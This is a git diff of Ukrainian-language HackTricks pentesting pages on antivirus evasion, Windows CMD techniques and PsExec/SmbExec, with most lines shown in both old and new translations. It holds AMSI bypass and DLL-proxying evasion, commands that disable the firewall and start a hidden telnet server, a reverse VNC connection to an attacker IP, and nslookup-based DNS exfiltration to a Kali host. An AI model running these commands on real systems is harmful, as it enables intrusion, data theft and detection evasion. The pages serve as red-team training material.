Ця команда виведе список програм, які підлягають атаці через підміни DLL у "C:\Program Files\\" та DLL файли, які вони намагаються завантажити.
Ця команда виведе список програм, які підлягають атаці через підміни DLL, у "C:\Program Files\\" та DLL файли, які вони намагаються завантажити.
Я настійно рекомендую вам **самостійно дослідити програми, які підлягають підміні DLL/можуть бути завантажені**, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можуть бути завантажені через DLL, вас можуть легко спіймати.
Просто розміщення шкідливої DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Проксіюванням/Пересиланням**.
Просто розмістивши шкідливу DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Проксіюванням/Пересиланням**.
**DLL Проксіювання** пересилає виклики, які програма робить з проксі (і шкідливої) DLL до оригінальної DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого вантажу.
@ -129,7 +135,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Як наш shellcode (закодований за допомогою [SGN](https://github.com/EgeBalci/sgn)), так і проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
Як наш shellcode (кодується за допомогою [SGN](https://github.com/EgeBalci/sgn)), так і проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
@ -156,7 +162,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (Інтерфейс сканування антивірусного програмного забезпечення)
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless\_malware)". Спочатку антивірусні програми могли лише сканувати **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless\_malware)". Спочатку антивірусні програми могли сканувати лише **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
Функція AMSI інтегрована в ці компоненти Windows.
@ -166,23 +172,23 @@ AMSI був створений для запобігання "[безфайло
* JavaScript та VBScript
* Макроси Office VBA
Вона дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не обфускованою.
Вона дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не заплутаною.
Виконання `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` викличе наступне сповіщення в Windows Defender.
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
Зверніть увагу, як передує `amsi:` і потім шлях до виконуваного файлу, з якого запустився скрипт, у цьому випадку, powershell.exe
Зверніть увагу, як перед `amsi:` йде шлях до виконуваного файлу, з якого запустився скрипт, у цьому випадку, powershell.exe
Ми не скинули жодного файлу на диск, але все ж були спіймані в пам'яті через AMSI.
Є кілька способів обійти AMSI:
* **Обфускація**
* **Заплутування**
Оскільки AMSI в основному працює з статичними виявленнями, тому модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнути виявлення.
Однак AMSI має можливість розшифровувати скрипти, навіть якщо у них є кілька шарів, тому обфускація може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.
Однак AMSI має можливість розплутувати скрипти, навіть якщо у них є кілька шарів, тому заплутування може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.
* **Обхід AMSI**
@ -198,7 +204,7 @@ AMSI був створений для запобігання "[безфайло
```
{% endcode %}
Все, що було потрібно, це один рядок коду PowerShell, щоб зробити AMSI непридатним для поточного процесу PowerShell. Цей рядок, звичайно, був позначений самим AMSI, тому потрібні деякі модифікації, щоб використовувати цю техніку.
Все, що було потрібно, це одна стрічка коду PowerShell, щоб зробити AMSI непридатним для поточного процесу PowerShell. Ця стрічка, звичайно, була позначена самим AMSI, тому потрібні деякі модифікації, щоб використовувати цю техніку.
Ось модифікований обхід AMSI, який я взяв з цього [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```powershell
@ -218,27 +224,27 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
**Memory Patching**
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/\_RastaMouse/), і вона полягає у знаходженні адреси для функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, щоб повернути код для E\_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/\_RastaMouse/) і вона полягає у знаходженні адреси для функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, щоб повернути код для E\_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
{% hint style="info" %}
Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
{% endhint %}
Існує також багато інших технік, які використовуються для обходу AMSI за допомогою powershell, ознайомтеся з [**цією сторінкою**](basic-powershell-for-pentesters/#amsi-bypass) та [цього репозиторію](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), щоб дізнатися більше про них.
Існує також багато інших технік, які використовуються для обходу AMSI з powershell, ознайомтеся з [**цією сторінкою**](basic-powershell-for-pentesters/#amsi-bypass) та [цього репозиторію](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), щоб дізнатися більше про них.
Або цей скрипт, який через пам'яткове патчування буде патчити кожен новий Powersh
## Obfuscation
Існує кілька інструментів, які можна використовувати для **обфускації C# коду у відкритому тексті**, генерації **метапрограмних шаблонів** для компіляції бінарних файлів або **обфускації скомпільованих бінарних файлів**, таких як:
Існує кілька інструментів, які можна використовувати для **обфускації C# коду у відкритому тексті**, генерувати **метапрограмні шаблони** для компіляції бінарних файлів або **обфускації скомпільованих бінарних файлів**, таких як:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# обфускатор**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Метою цього проекту є надання відкритого коду форку [LLVM](http://www.llvm.org/) компіляційного пакету, здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) та захист від підробки.
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Метою цього проекту є надання відкритого коду форку компіляційного пакету [LLVM](http://www.llvm.org/), здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) та захист від підробки.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації, під час компіляції, обфускованого коду без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
* [**obfy**](https://github.com/fritzone/obfy): Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz - це обфускатор бінарних файлів x64, здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame - це простий двигун метаморфного коду для довільних виконуваних файлів.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримують LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблерного коду, перетворюючи звичайні інструкції на ROP-ланцюги, що ускладнює наше природне сприйняття нормального потоку управління.
* [**metame**](https://github.com/a0rtega/metame): Metame - це простий метаморфний кодовий двигун для довільних виконуваних файлів.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримують LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблерного коду, перетворюючи звичайні інструкції на ROP-ланцюги, що ускладнює наше природне сприйняття нормального контролю потоку.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt - це .NET PE Crypter, написаний на Nim.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor здатний перетворювати існуючі EXE/DLL у shellcode, а потім завантажувати їх.
@ -250,9 +256,9 @@ Microsoft Defender SmartScreen - це механізм безпеки, приз
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми викликають SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).
SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми активують SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).
**MoTW** (Мітка вебу) - це [потік альтернативних даних NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету разом з URL-адресою, з якої він був завантажений.
**MoTW** (Mark of The Web) - це [потік альтернативних даних NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету, разом з URL-адресою, з якої він був завантажений.
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Перевірка Zone.Identifier ADS для файлу, завантаженого з Інтернету.</p></figcaption></figure>
@ -260,11 +266,11 @@ SmartScreen в основному працює на основі репутац
It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**.
{% endhint %}
Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Мітку вебу, - це упаковка їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Мітка вебу (MOTW) **не може** бути застосована до **не NTFS** томів.
Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Mark of The Web, - це упаковка їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) **не може** бути застосований до **не NTFS** томів.
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) - це інструмент, який упаковує корисні навантаження в вихідні контейнери, щоб уникнути Мітки вебу.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) - це інструмент, який упаковує корисні навантаження в вихідні контейнери, щоб уникнути Mark-of-the-Web.
Example usage:
```powershell
@ -302,7 +308,7 @@ Adding file: /TotallyLegitApp.exe
* **Fork\&Run**
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, завершення нового процесу. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність** того, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, вбити новий процес. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність** того, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
@ -344,7 +350,7 @@ Adding file: /TotallyLegitApp.exe
### **Перевірте, які частини Defender вважає шкідливими**
Ви можете використовувати [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), який **видалить частини бінарного файлу**, поки не **виявить, яка частина Defender** вважає шкідливою, і розділить її для вас.\
Ви можете використовувати [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), який **видалить частини бінарного файлу**, поки не **виявить, яка частина Defender** вважає шкідливою, і розділить це для вас.\
Інший інструмент, який робить **те саме** - це [**avred**](https://github.com/dobin/avred) з відкритим веб-сайтом, що пропонує послугу на [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet сервер**
@ -353,18 +359,18 @@ Adding file: /TotallyLegitApp.exe
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
Зробіть так, щоб він **запускався** під час старту системи та **запустіть** його зараз:
Зробіть так, щоб він **запускався** при старті системи та **запустіть** його зараз:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Змінити порт telnet** (стелс) та вимкнути брандмауер:
**Змінити порт telnet** (приховано) та вимкнути брандмауер:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Завантажте його з: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (вам потрібні бінарні завантаження, а не налаштування)
Завантажте його з: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (вам потрібні бінарні завантаження, а не установка)
**НА ХОСТІ**: Виконайте _**winvnc.exe**_ і налаштуйте сервер:
@ -376,12 +382,12 @@ netsh advfirewall set allprofiles state off
#### **Зворотне з'єднання**
**Атакуючий** повинен **виконати всередині** свого **хоста** бінарний файл `vncviewer.exe -listen 5900`, щоб він був **підготовлений** для прийому зворотного **VNC з'єднання**. Потім, всередині **жертви**: Запустіть демон winvnc `winvnc.exe -run` і виконайте `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**Атакуючий** повинен **виконати всередині** свого **хоста** бінарний файл `vncviewer.exe -listen 5900`, щоб він був **готовий** прийняти зворотне **VNC з'єднання**. Потім, всередині **жертви**: Запустіть демон winvnc `winvnc.exe -run` і виконайте `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**ПОПЕРЕДЖЕННЯ:** Щоб зберегти прихованість, ви не повинні робити кілька речей
**УВАГА:** Щоб зберегти прихованість, ви не повинні робити кілька речей
* Не запускайте `winvnc`, якщо він вже працює, або ви викличете [вікно сповіщення](https://i.imgur.com/1SROTTl.png). перевірте, чи він працює за допомогою `tasklist | findstr winvnc`
* Не запускайте `winvnc` без `UltraVNC.ini` в тій же директорії, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
* Не запускайте `winvnc` без `UltraVNC.ini` в тому ж каталозі, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
* Не запускайте `winvnc -h` для отримання допомоги, або ви викличете [вікно сповіщення](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -563,16 +569,22 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>

View file

@ -1,8 +1,8 @@
# Основи Win CMD для Пентестерів
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Хакінг:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Хакінг: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,6 +15,14 @@
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Інформація про систему
### Інформація про версію та патчі
@ -119,7 +127,7 @@ nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
### Журнали та Події
### Логи та події
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
@ -326,7 +334,7 @@ who^ami #whoami
```
### DOSfuscation
Генерує обфусцировану CMD команду
Генерує обфускований CMD рядок
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
@ -361,7 +369,7 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_ka
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
Ви також можете **перенаправити** вихідні дані, а потім **прочитати** їх.
Ви також можете **перенаправити** вихід, а потім **прочитати** його.
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
@ -409,6 +417,15 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -419,7 +436,7 @@ powershell -ep bypass - < c:\temp:ttt
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -15,9 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Як вони працюють
Процес описаний у наступних кроках, що ілюструють, як маніпулюються бінарні файли служб для досягнення віддаленого виконання на цільовій машині через SMB:
Процес описаний у наступних кроках, що ілюструють, як бінарні файли служб маніпулюються для досягнення віддаленого виконання на цільовій машині через SMB:
1. **Копіювання бінарного файлу служби до спільного доступу ADMIN$ через SMB** виконується.
2. **Створення служби на віддаленій машині** здійснюється шляхом вказівки на бінарний файл.
@ -50,6 +54,10 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -59,7 +67,7 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>

View file

@ -15,6 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Як це працює
**Smbexec** - це інструмент, що використовується для віддаленого виконання команд на системах Windows, подібно до **Psexec**, але він уникає розміщення будь-яких шкідливих файлів на цільовій системі.
@ -31,7 +39,7 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
- **Smbexec** дозволяє безпосереднє виконання команд через binPaths сервісу, усуваючи необхідність у фізичних бінарних файлах на цілі.
- Цей метод корисний для виконання одноразових команд на цільовій системі Windows. Наприклад, поєднання його з модулем `web_delivery` Metasploit дозволяє виконати зворотний Meterpreter payload, націлений на PowerShell.
- Створивши віддалений сервіс на машині зловмисника з binPath, налаштованим для виконання наданої команди через cmd.exe, можна успішно виконати payload, досягнувши зворотного виклику та виконання payload з прослуховувачем Metasploit, навіть якщо виникають помилки відповіді сервісу.
- Створивши віддалений сервіс на машині зловмисника з binPath, налаштованим для виконання наданої команди через cmd.exe, можна успішно виконати payload, досягнувши зворотного виклику та виконання payload з прослуховувачем Metasploit, навіть якщо виникають помилки у відповіді сервісу.
### Приклад команд
@ -45,17 +53,25 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Навчайтеся та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Навчайтеся та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
